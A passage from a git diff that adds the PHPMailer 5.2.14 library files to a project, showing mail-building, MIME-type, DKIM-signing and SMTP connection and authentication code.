+ } else { + $this->CustomHeader[] = array($name, $value); + } + } + + /** + * Returns all custom headers. + * @return array + */ + public function getCustomHeaders() + { + return $this->CustomHeader; + } + + /** + * Create a message from an HTML string. + * Automatically makes modifications for inline images and backgrounds + * and creates a plain-text version by converting the HTML. + * Overwrites any existing values in $this->Body and $this->AltBody + * @access public + * @param string $message HTML message string + * @param string $basedir baseline directory for path + * @param boolean|callable $advanced Whether to use the internal HTML to text converter + * or your own custom converter @see PHPMailer::html2text() + * @return string $message + */ + public function msgHTML($message, $basedir = '', $advanced = false) + { + preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images); + if (array_key_exists(2, $images)) { + foreach ($images[2] as $imgindex => $url) { + // Convert data URIs into embedded images + if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) { + $data = substr($url, strpos($url, ',')); + if ($match[2]) { + $data = base64_decode($data); + } else { + $data = rawurldecode($data); + } + $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 + if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) { + $message = str_replace( + $images[0][$imgindex], + $images[1][$imgindex] . '="cid:' . $cid . '"', + $message + ); + } + } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) { + // Do not change urls for absolute images (thanks to corvuscorax) + // Do not change urls that are already inline images + $filename = basename($url); + $directory = dirname($url); + if ($directory == '.') { + $directory = ''; + } + $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 + if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { + $basedir .= '/'; + } + if (strlen($directory) > 1 && substr($directory, -1) != '/') { + $directory .= '/'; + } + if ($this->addEmbeddedImage( + $basedir . $directory . $filename, + $cid, + $filename, + 'base64', + self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)) + ) + ) { + $message = preg_replace( + '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', + $images[1][$imgindex] . '="cid:' . $cid . '"', + $message + ); + } + } + } + } + $this->isHTML(true); + // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better + $this->Body = $this->normalizeBreaks($message); + $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); + if (!$this->alternativeExists()) { + $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . + self::CRLF . self::CRLF; + } + return $this->Body; + } + + /** + * Convert an HTML string into plain text. + * This is used by msgHTML(). + * Note - older versions of this function used a bundled advanced converter + * which was been removed for license reasons in #232 + * Example usage: + * + * // Use default conversion + * $plain = $mail->html2text($html); + * // Use your own custom converter + * $plain = $mail->html2text($html, function($html) { + * $converter = new MyHtml2text($html); + * return $converter->get_text(); + * }); + * + * @param string $html The HTML text to convert + * @param boolean|callable $advanced Any boolean value to use the internal converter, + * or provide your own callable for custom conversion. + * @return string + */ + public function html2text($html, $advanced = false) + { + if (is_callable($advanced)) { + return call_user_func($advanced, $html); + } + return html_entity_decode( + trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), + ENT_QUOTES, + $this->CharSet + ); + } + + /** + * Get the MIME type for a file extension. + * @param string $ext File extension + * @access public + * @return string MIME type of file. + * @static + */ + public static function _mime_types($ext = '') + { + $mimes = array( + 'xl' => 'application/excel', + 'js' => 'application/javascript', + 'hqx' => 'application/mac-binhex40', + 'cpt' => 'application/mac-compactpro', + 'bin' => 'application/macbinary', + 'doc' => 'application/msword', + 'word' => 'application/msword', + 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', + 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', + 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', + 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', + 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', + 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', + 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', + 'class' => 'application/octet-stream', + 'dll' => 'application/octet-stream', + 'dms' => 'application/octet-stream', + 'exe' => 'application/octet-stream', + 'lha' => 'application/octet-stream', + 'lzh' => 'application/octet-stream', + 'psd' => 'application/octet-stream', + 'sea' => 'application/octet-stream', + 'so' => 'application/octet-stream', + 'oda' => 'application/oda', + 'pdf' => 'application/pdf', + 'ai' => 'application/postscript', + 'eps' => 'application/postscript', + 'ps' => 'application/postscript', + 'smi' => 'application/smil', + 'smil' => 'application/smil', + 'mif' => 'application/vnd.mif', + 'xls' => 'application/vnd.ms-excel', + 'ppt' => 'application/vnd.ms-powerpoint', + 'wbxml' => 'application/vnd.wap.wbxml', + 'wmlc' => 'application/vnd.wap.wmlc', + 'dcr' => 'application/x-director', + 'dir' => 'application/x-director', + 'dxr' => 'application/x-director', + 'dvi' => 'application/x-dvi', + 'gtar' => 'application/x-gtar', + 'php3' => 'application/x-httpd-php', + 'php4' => 'application/x-httpd-php', + 'php' => 'application/x-httpd-php', + 'phtml' => 'application/x-httpd-php', + 'phps' => 'application/x-httpd-php-source', + 'swf' => 'application/x-shockwave-flash', + 'sit' => 'application/x-stuffit', + 'tar' => 'application/x-tar', + 'tgz' => 'application/x-tar', + 'xht' => 'application/xhtml+xml', + 'xhtml' => 'application/xhtml+xml', + 'zip' => 'application/zip', + 'mid' => 'audio/midi', + 'midi' => 'audio/midi', + 'mp2' => 'audio/mpeg', + 'mp3' => 'audio/mpeg', + 'mpga' => 'audio/mpeg', + 'aif' => 'audio/x-aiff', + 'aifc' => 'audio/x-aiff', + 'aiff' => 'audio/x-aiff', + 'ram' => 'audio/x-pn-realaudio', + 'rm' => 'audio/x-pn-realaudio', + 'rpm' => 'audio/x-pn-realaudio-plugin', + 'ra' => 'audio/x-realaudio', + 'wav' => 'audio/x-wav', + 'bmp' => 'image/bmp', + 'gif' => 'image/gif', + 'jpeg' => 'image/jpeg', + 'jpe' => 'image/jpeg', + 'jpg' => 'image/jpeg', + 'png' => 'image/png', + 'tiff' => 'image/tiff', + 'tif' => 'image/tiff', + 'eml' => 'message/rfc822', + 'css' => 'text/css', + 'html' => 'text/html', + 'htm' => 'text/html', + 'shtml' => 'text/html', + 'log' => 'text/plain', + 'text' => 'text/plain', + 'txt' => 'text/plain', + 'rtx' => 'text/richtext', + 'rtf' => 'text/rtf', + 'vcf' => 'text/vcard', + 'vcard' => 'text/vcard', + 'xml' => 'text/xml', + 'xsl' => 'text/xml', + 'mpeg' => 'video/mpeg', + 'mpe' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mov' => 'video/quicktime', + 'qt' => 'video/quicktime', + 'rv' => 'video/vnd.rn-realvideo', + 'avi' => 'video/x-msvideo', + 'movie' => 'video/x-sgi-movie' + ); + if (array_key_exists(strtolower($ext), $mimes)) { + return $mimes[strtolower($ext)]; + } + return 'application/octet-stream'; + } + + /** + * Map a file name to a MIME type. + * Defaults to 'application/octet-stream', i.e.. arbitrary binary data. + * @param string $filename A file name or full path, does not need to exist as a file + * @return string + * @static + */ + public static function filenameToType($filename) + { + // In case the path is a URL, strip any query string before getting extension + $qpos = strpos($filename, '?'); + if (false !== $qpos) { + $filename = substr($filename, 0, $qpos); + } + $pathinfo = self::mb_pathinfo($filename); + return self::_mime_types($pathinfo['extension']); + } + + /** + * Multi-byte-safe pathinfo replacement. + * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe. + * Works similarly to the one in PHP >= 5.2.0 + * @link http://www.php.net/manual/en/function.pathinfo.php#107461 + * @param string $path A filename or path, does not need to exist as a file + * @param integer|string $options Either a PATHINFO_* constant, + * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2 + * @return string|array + * @static + */ + public static function mb_pathinfo($path, $options = null) + { + $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''); + $pathinfo = array(); + if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) { + if (array_key_exists(1, $pathinfo)) { + $ret['dirname'] = $pathinfo[1]; + } + if (array_key_exists(2, $pathinfo)) { + $ret['basename'] = $pathinfo[2]; + } + if (array_key_exists(5, $pathinfo)) { + $ret['extension'] = $pathinfo[5]; + } + if (array_key_exists(3, $pathinfo)) { + $ret['filename'] = $pathinfo[3]; + } + } + switch ($options) { + case PATHINFO_DIRNAME: + case 'dirname': + return $ret['dirname']; + case PATHINFO_BASENAME: + case 'basename': + return $ret['basename']; + case PATHINFO_EXTENSION: + case 'extension': + return $ret['extension']; + case PATHINFO_FILENAME: + case 'filename': + return $ret['filename']; + default: + return $ret; + } + } + + /** + * Set or reset instance properties. + * You should avoid this function - it's more verbose, less efficient, more error-prone and + * harder to debug than setting properties directly. + * Usage Example: + * `$mail->set('SMTPSecure', 'tls');` + * is the same as: + * `$mail->SMTPSecure = 'tls';` + * @access public + * @param string $name The property name to set + * @param mixed $value The value to set the property to + * @return boolean + * @TODO Should this not be using the __set() magic function? + */ + public function set($name, $value = '') + { + if (property_exists($this, $name)) { + $this->$name = $value; + return true; + } else { + $this->setError($this->lang('variable_set') . $name); + return false; + } + } + + /** + * Strip newlines to prevent header injection. + * @access public + * @param string $str + * @return string + */ + public function secureHeader($str) + { + return trim(str_replace(array("\r", "\n"), '', $str)); + } + + /** + * Normalize line breaks in a string. + * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format. + * Defaults to CRLF (for message bodies) and preserves consecutive breaks. + * @param string $text + * @param string $breaktype What kind of line break to use, defaults to CRLF + * @return string + * @access public + * @static + */ + public static function normalizeBreaks($text, $breaktype = "\r\n") + { + return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text); + } + + /** + * Set the public and private key files and password for S/MIME signing. + * @access public + * @param string $cert_filename + * @param string $key_filename + * @param string $key_pass Password for private key + * @param string $extracerts_filename Optional path to chain certificate + */ + public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') + { + $this->sign_cert_file = $cert_filename; + $this->sign_key_file = $key_filename; + $this->sign_key_pass = $key_pass; + $this->sign_extracerts_file = $extracerts_filename; + } + + /** + * Quoted-Printable-encode a DKIM header. + * @access public + * @param string $txt + * @return string + */ + public function DKIM_QP($txt) + { + $line = ''; + for ($i = 0; $i < strlen($txt); $i++) { + $ord = ord($txt[$i]); + if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { + $line .= $txt[$i]; + } else { + $line .= '=' . sprintf('%02X', $ord); + } + } + return $line; + } + + /** + * Generate a DKIM signature. + * @access public + * @param string $signHeader + * @throws phpmailerException + * @return string + */ + public function DKIM_Sign($signHeader) + { + if (!defined('PKCS7_TEXT')) { + if ($this->exceptions) { + throw new phpmailerException($this->lang('extension_missing') . 'openssl'); + } + return ''; + } + $privKeyStr = file_get_contents($this->DKIM_private); + if ($this->DKIM_passphrase != '') { + $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); + } else { + $privKey = $privKeyStr; + } + if (openssl_sign($signHeader, $signature, $privKey)) { + return base64_encode($signature); + } + return ''; + } + + /** + * Generate a DKIM canonicalization header. + * @access public + * @param string $signHeader Header + * @return string + */ + public function DKIM_HeaderC($signHeader) + { + $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader); + $lines = explode("\r\n", $signHeader); + foreach ($lines as $key => $line) { + list($heading, $value) = explode(':', $line, 2); + $heading = strtolower($heading); + $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces + $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value + } + $signHeader = implode("\r\n", $lines); + return $signHeader; + } + + /** + * Generate a DKIM canonicalization body. + * @access public + * @param string $body Message Body + * @return string + */ + public function DKIM_BodyC($body) + { + if ($body == '') { + return "\r\n"; + } + // stabilize line endings + $body = str_replace("\r\n", "\n", $body); + $body = str_replace("\n", "\r\n", $body); + // END stabilize line endings + while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") { + $body = substr($body, 0, strlen($body) - 2); + } + return $body; + } + + /** + * Create the DKIM header and body in a new message header. + * @access public + * @param string $headers_line Header lines + * @param string $subject Subject + * @param string $body Body + * @return string + */ + public function DKIM_Add($headers_line, $subject, $body) + { + $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms + $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body + $DKIMquery = 'dns/txt'; // Query method + $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) + $subject_header = "Subject: $subject"; + $headers = explode($this->LE, $headers_line); + $from_header = ''; + $to_header = ''; + $current = ''; + foreach ($headers as $header) { + if (strpos($header, 'From:') === 0) { + $from_header = $header; + $current = 'from_header'; + } elseif (strpos($header, 'To:') === 0) { + $to_header = $header; + $current = 'to_header'; + } else { + if (!empty($$current) && strpos($header, ' =?') === 0) { + $$current .= $header; + } else { + $current = ''; + } + } + } + $from = str_replace('|', '=7C', $this->DKIM_QP($from_header)); + $to = str_replace('|', '=7C', $this->DKIM_QP($to_header)); + $subject = str_replace( + '|', + '=7C', + $this->DKIM_QP($subject_header) + ); // Copied header fields (dkim-quoted-printable) + $body = $this->DKIM_BodyC($body); + $DKIMlen = strlen($body); // Length of body + $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body + if ('' == $this->DKIM_identity) { + $ident = ''; + } else { + $ident = ' i=' . $this->DKIM_identity . ';'; + } + $dkimhdrs = 'DKIM-Signature: v=1; a=' . + $DKIMsignatureType . '; q=' . + $DKIMquery . '; l=' . + $DKIMlen . '; s=' . + $this->DKIM_selector . + ";\r\n" . + "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" . + "\th=From:To:Subject;\r\n" . + "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . + "\tz=$from\r\n" . + "\t|$to\r\n" . + "\t|$subject;\r\n" . + "\tbh=" . $DKIMb64 . ";\r\n" . + "\tb="; + $toSign = $this->DKIM_HeaderC( + $from_header . "\r\n" . + $to_header . "\r\n" . + $subject_header . "\r\n" . + $dkimhdrs + ); + $signed = $this->DKIM_Sign($toSign); + return $dkimhdrs . $signed . "\r\n"; + } + + /** + * Detect if a string contains a line longer than the maximum line length allowed. + * @param string $str + * @return boolean + * @static + */ + public static function hasLineLongerThanMax($str) + { + //+2 to include CRLF line break for a 1000 total + return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str); + } + + /** + * Allows for public read access to 'to' property. + * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * @access public + * @return array + */ + public function getToAddresses() + { + return $this->to; + } + + /** + * Allows for public read access to 'cc' property. + * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * @access public + * @return array + */ + public function getCcAddresses() + { + return $this->cc; + } + + /** + * Allows for public read access to 'bcc' property. + * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * @access public + * @return array + */ + public function getBccAddresses() + { + return $this->bcc; + } + + /** + * Allows for public read access to 'ReplyTo' property. + * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * @access public + * @return array + */ + public function getReplyToAddresses() + { + return $this->ReplyTo; + } + + /** + * Allows for public read access to 'all_recipients' property. + * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. + * @access public + * @return array + */ + public function getAllRecipientAddresses() + { + return $this->all_recipients; + } + + /** + * Perform a callback. + * @param boolean $isSent + * @param array $to + * @param array $cc + * @param array $bcc + * @param string $subject + * @param string $body + * @param string $from + */ + protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) + { + if (!empty($this->action_function) && is_callable($this->action_function)) { + $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); + call_user_func_array($this->action_function, $params); + } + } +} + +/** + * PHPMailer exception handler + * @package PHPMailer + */ +class phpmailerException extends Exception +{ + /** + * Prettify error message output + * @return string + */ + public function errorMessage() + { + $errorMsg = '' . $this->getMessage() . "
\n"; + return $errorMsg; + } +} diff --git a/include/phpmailer/class.smtp.php b/include/phpmailer/class.smtp.php new file mode 100644 index 0000000..2e32e2f --- /dev/null +++ b/include/phpmailer/class.smtp.php @@ -0,0 +1,1181 @@ + + * @author Jim Jagielski (jimjag) + * @author Andy Prevost (codeworxtech) + * @author Brent R. Matzelle (original founder) + * @copyright 2014 Marcus Bointon + * @copyright 2010 - 2012 Jim Jagielski + * @copyright 2004 - 2009 Andy Prevost + * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License + * @note This program is distributed in the hope that it will be useful - WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. + */ + +/** + * PHPMailer RFC821 SMTP email transport class. + * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server. + * @package PHPMailer + * @author Chris Ryan + * @author Marcus Bointon + */ +class SMTP +{ + /** + * The PHPMailer SMTP version number. + * @var string + */ + const VERSION = '5.2.14'; + + /** + * SMTP line break constant. + * @var string + */ + const CRLF = "\r\n"; + + /** + * The SMTP port to use if one is not specified. + * @var integer + */ + const DEFAULT_SMTP_PORT = 25; + + /** + * The maximum line length allowed by RFC 2822 section 2.1.1 + * @var integer + */ + const MAX_LINE_LENGTH = 998; + + /** + * Debug level for no output + */ + const DEBUG_OFF = 0; + + /** + * Debug level to show client -> server messages + */ + const DEBUG_CLIENT = 1; + + /** + * Debug level to show client -> server and server -> client messages + */ + const DEBUG_SERVER = 2; + + /** + * Debug level to show connection status, client -> server and server -> client messages + */ + const DEBUG_CONNECTION = 3; + + /** + * Debug level to show all messages + */ + const DEBUG_LOWLEVEL = 4; + + /** + * The PHPMailer SMTP Version number. + * @var string + * @deprecated Use the `VERSION` constant instead + * @see SMTP::VERSION + */ + public $Version = '5.2.14'; + + /** + * SMTP server port number. + * @var integer + * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead + * @see SMTP::DEFAULT_SMTP_PORT + */ + public $SMTP_PORT = 25; + + /** + * SMTP reply line ending. + * @var string + * @deprecated Use the `CRLF` constant instead + * @see SMTP::CRLF + */ + public $CRLF = "\r\n"; + + /** + * Debug output level. + * Options: + * * self::DEBUG_OFF (`0`) No debug output, default + * * self::DEBUG_CLIENT (`1`) Client commands + * * self::DEBUG_SERVER (`2`) Client commands and server responses + * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status + * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages + * @var integer + */ + public $do_debug = self::DEBUG_OFF; + + /** + * How to handle debug output. + * Options: + * * `echo` Output plain-text as-is, appropriate for CLI + * * `html` Output escaped, line breaks converted to `
`, appropriate for browser output + * * `error_log` Output to error log as configured in php.ini + * + * Alternatively, you can provide a callable expecting two params: a message string and the debug level: + * + * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; + * + * @var string|callable + */ + public $Debugoutput = 'echo'; + + /** + * Whether to use VERP. + * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path + * @link http://www.postfix.org/VERP_README.html Info on VERP + * @var boolean + */ + public $do_verp = false; + + /** + * The timeout value for connection, in seconds. + * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 + * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure. + * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2 + * @var integer + */ + public $Timeout = 300; + + /** + * How long to wait for commands to complete, in seconds. + * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 + * @var integer + */ + public $Timelimit = 300; + + /** + * The socket for the server connection. + * @var resource + */ + protected $smtp_conn; + + /** + * Error information, if any, for the last SMTP command. + * @var array + */ + protected $error = array( + 'error' => '', + 'detail' => '', + 'smtp_code' => '', + 'smtp_code_ex' => '' + ); + + /** + * The reply the server sent to us for HELO. + * If null, no HELO string has yet been received. + * @var string|null + */ + protected $helo_rply = null; + + /** + * The set of SMTP extensions sent in reply to EHLO command. + * Indexes of the array are extension names. + * Value at index 'HELO' or 'EHLO' (according to command that was sent) + * represents the server name. In case of HELO it is the only element of the array. + * Other values can be boolean TRUE or an array containing extension options. + * If null, no HELO/EHLO string has yet been received. + * @var array|null + */ + protected $server_caps = null; + + /** + * The most recent reply received from the server. + * @var string + */ + protected $last_reply = ''; + + /** + * Output debugging info via a user-selected method. + * @see SMTP::$Debugoutput + * @see SMTP::$do_debug + * @param string $str Debug string to output + * @param integer $level The debug level of this message; see DEBUG_* constants + * @return void + */ + protected function edebug($str, $level = 0) + { + if ($level > $this->do_debug) { + return; + } + //Avoid clash with built-in function names + if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { + call_user_func($this->Debugoutput, $str, $this->do_debug); + return; + } + switch ($this->Debugoutput) { + case 'error_log': + //Don't output, just log + error_log($str); + break; + case 'html': + //Cleans up output a bit for a better looking, HTML-safe output + echo htmlentities( + preg_replace('/[\r\n]+/', '', $str), + ENT_QUOTES, + 'UTF-8' + ) + . "
\n"; + break; + case 'echo': + default: + //Normalize line breaks + $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str); + echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( + "\n", + "\n \t ", + trim($str) + )."\n"; + } + } + + /** + * Connect to an SMTP server. + * @param string $host SMTP server IP or host name + * @param integer $port The port number to connect to + * @param integer $timeout How long to wait for the connection to open + * @param array $options An array of options for stream_context_create() + * @access public + * @return boolean + */ + public function connect($host, $port = null, $timeout = 30, $options = array()) + { + static $streamok; + //This is enabled by default since 5.0.0 but some providers disable it + //Check this once and cache the result + if (is_null($streamok)) { + $streamok = function_exists('stream_socket_client'); + } + // Clear errors to avoid confusion + $this->setError(''); + // Make sure we are __not__ connected + if ($this->connected()) { + // Already connected, generate error + $this->setError('Already connected to a server'); + return false; + } + if (empty($port)) { + $port = self::DEFAULT_SMTP_PORT; + } + // Connect to the SMTP server + $this->edebug( + "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true), + self::DEBUG_CONNECTION + ); + $errno = 0; + $errstr = ''; + if ($streamok) { + $socket_context = stream_context_create($options); + //Suppress errors; connection failures are handled at a higher level + $this->smtp_conn = @stream_socket_client( + $host . ":" . $port, + $errno, + $errstr, + $timeout, + STREAM_CLIENT_CONNECT, + $socket_context + ); + } else { + //Fall back to fsockopen which should work in more places, but is missing some features + $this->edebug( + "Connection: stream_socket_client not available, falling back to fsockopen", + self::DEBUG_CONNECTION + ); + $this->smtp_conn = fsockopen( + $host, + $port, + $errno, + $errstr, + $timeout + ); + } + // Verify we connected properly + if (!is_resource($this->smtp_conn)) { + $this->setError( + 'Failed to connect to server', + $errno, + $errstr + ); + $this->edebug( + 'SMTP ERROR: ' . $this->error['error'] + . ": $errstr ($errno)", + self::DEBUG_CLIENT + ); + return false; + } + $this->edebug('Connection: opened', self::DEBUG_CONNECTION); + // SMTP server can take longer to respond, give longer timeout for first read + // Windows does not have support for this timeout function + if (substr(PHP_OS, 0, 3) != 'WIN') { + $max = ini_get('max_execution_time'); + // Don't bother if unlimited + if ($max != 0 && $timeout > $max) { + @set_time_limit($timeout); + } + stream_set_timeout($this->smtp_conn, $timeout, 0); + } + // Get any announcement + $announce = $this->get_lines(); + $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER); + return true; + } + + /** + * Initiate a TLS (encrypted) session. + * @access public + * @return boolean + */ + public function startTLS() + { + if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { + return false; + } + // Begin encrypted connection + if (!stream_socket_enable_crypto( + $this->smtp_conn, + true, + STREAM_CRYPTO_METHOD_TLS_CLIENT + )) { + return false; + } + return true; + } + + /** + * Perform SMTP authentication. + * Must be run after hello(). + * @see hello() + * @param string $username The user name + * @param string $password The password + * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5, XOAUTH2) + * @param string $realm The auth realm for NTLM + * @param string $workstation The auth workstation for NTLM + * @param null|OAuth $OAuth An optional OAuth instance (@see PHPMailerOAuth) + * @return bool True if successfully authenticated.* @access public + */ + public function authenticate( + $username, + $password, + $authtype = null, + $realm = '', + $workstation = '', + $OAuth = null + ) { + if (!$this->server_caps) { + $this->setError('Authentication is not allowed before HELO/EHLO'); + return false; + } + + if (array_key_exists('EHLO', $this->server_caps)) { + // SMTP extensions are available. Let's try to find a proper authentication method + + if (!array_key_exists('AUTH', $this->server_caps)) { + $this->setError('Authentication is not allowed at this stage'); + // 'at this stage' means that auth may be allowed after the stage changes + // e.g. after STARTTLS + return false; + } + + self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL); + self::edebug( + 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), + self::DEBUG_LOWLEVEL + ); + + if (empty($authtype)) { + foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN', 'XOAUTH2') as $method) { + if (in_array($method, $this->server_caps['AUTH'])) { + $authtype = $method; + break; + } + } + if (empty($authtype)) { + $this->setError('No supported authentication methods found'); + return false; + } + self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL); + } + + if (!in_array($authtype, $this->server_caps['AUTH'])) { + $this->setError("The requested authentication method \"$authtype\" is not supported by the server"); + return false; + } + } elseif (empty($authtype)) { + $authtype = 'LOGIN'; + } + switch ($authtype) { + case 'PLAIN': + // Start authentication + if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { + return false; + } + // Send encoded username and password + if (!$this->sendCommand( + 'User & Password', + base64_encode("\0" . $username . "\0" . $password), + 235 + ) + ) { + return false; + } + break; + case 'LOGIN': + // Start authentication + if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { + return false; + } + if (!$this->sendCommand("Username", base64_encode($username), 334)) { + return false; + } + if (!$this->sendCommand("Password", base64_encode($password), 235)) { + return false; + } + break; + case 'XOAUTH2': + //If the OAuth Instance is not set. Can be a case when PHPMailer is used + //instead of PHPMailerOAuth + if (is_null($OAuth)) { + return false; + } + $oauth = $OAuth->getOauth64(); + + // Start authentication + if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) { + return false; + } + break; + case 'NTLM': + /* + * ntlm_sasl_client.php + * Bundled with Permission + * + * How to telnet in windows: + * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx + * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication + */ + require_once 'extras/ntlm_sasl_client.php'; + $temp = new stdClass; + $ntlm_client = new ntlm_sasl_client_class; + //Check that functions are available + if (!$ntlm_client->Initialize($temp)) { + $this->setError($temp->error); + $this->edebug( + 'You need to enable some modules in your php.ini file: ' + . $this->error['error'], + self::DEBUG_CLIENT + ); + return false; + } + //msg1 + $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1 + + if (!$this->sendCommand( + 'AUTH NTLM', + 'AUTH NTLM ' . base64_encode($msg1), + 334 + ) + ) { + return false; + } + //Though 0 based, there is a white space after the 3 digit number + //msg2 + $challenge = substr($this->last_reply, 3); + $challenge = base64_decode($challenge); + $ntlm_res = $ntlm_client->NTLMResponse( + substr($challenge, 24, 8), + $password + ); + //msg3 + $msg3 = $ntlm_client->TypeMsg3( + $ntlm_res, + $username, + $realm, + $workstation + ); + // send encoded username + return $this->sendCommand('Username', base64_encode($msg3), 235); + case 'CRAM-MD5': + // Start authentication + if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) { + return false; + } + // Get the challenge + $challenge = base64_decode(substr($this->last_reply, 4)); + + // Build the response + $response = $username . ' ' . $this->hmac($challenge, $password); + + // send encoded credentials + return $this->sendCommand('Username', base64_encode($response), 235); + default: + $this->setError("Authentication method \"$authtype\" is not supported"); + return false; + } + return true; + } + + /** + * Calculate an MD5 HMAC hash. + * Works like hash_hmac('md5', $data, $key) + * in case that function is not available + * @param string $data The data to hash + * @param string $key The key to hash with + * @access protected + * @return string + */ + protected function hmac($data, $key) + { + if (function_exists('hash_hmac')) { + return hash_hmac('md5', $data, $key); + } + + // The following borrowed from + // http://php.net/manual/en/function.mhash.php#27225 + + // RFC 2104 HMAC implementation for php. + // Creates an md5 HMAC. + // Eliminates the need to install mhash to compute a HMAC + // by Lance Rushing + + $bytelen = 64; // byte length for md5 + if (strlen($key) > $bytelen) { + $key = pack('H*', md5($key)); + } + $key = str_pad($key, $bytelen, chr(0x00)); + $ipad = str_pad('', $bytelen, chr(0x36)); + $opad = str_pad('', $bytelen, chr(0x5c)); + $k_ipad = $key ^ $ipad; + $k_opad = $key ^ $opad; + + return md5($k_opad . pack('H*', md5($k_ipad . $data))); + } + + /** + * Check connection state. + * @access public + * @return boolean True if connected. + */ + public function connected() + { + if (is_resource($this->smtp_conn)) { + $sock_status = stream_get_meta_data($this->smtp_conn); + if ($sock_status['eof']) { + // The socket is valid but we are not connected + $this->edebug( + 'SMTP NOTICE: EOF caught while checking if connected', + self::DEBUG_CLIENT + ); + $this->close(); + return false; + } + return true; // everything looks good + } + return false; + } + + /** + * Close the socket and clean up the state of the class. + * Don't use this function without first trying to use QUIT. + * @see quit() + * @access public + * @return void + */ + public function close() + { + $this->setError(''); + $this->server_caps = null; + $this->helo_rply = null; + if (is_resource($this->smtp_conn)) { + // close the connection and cleanup + 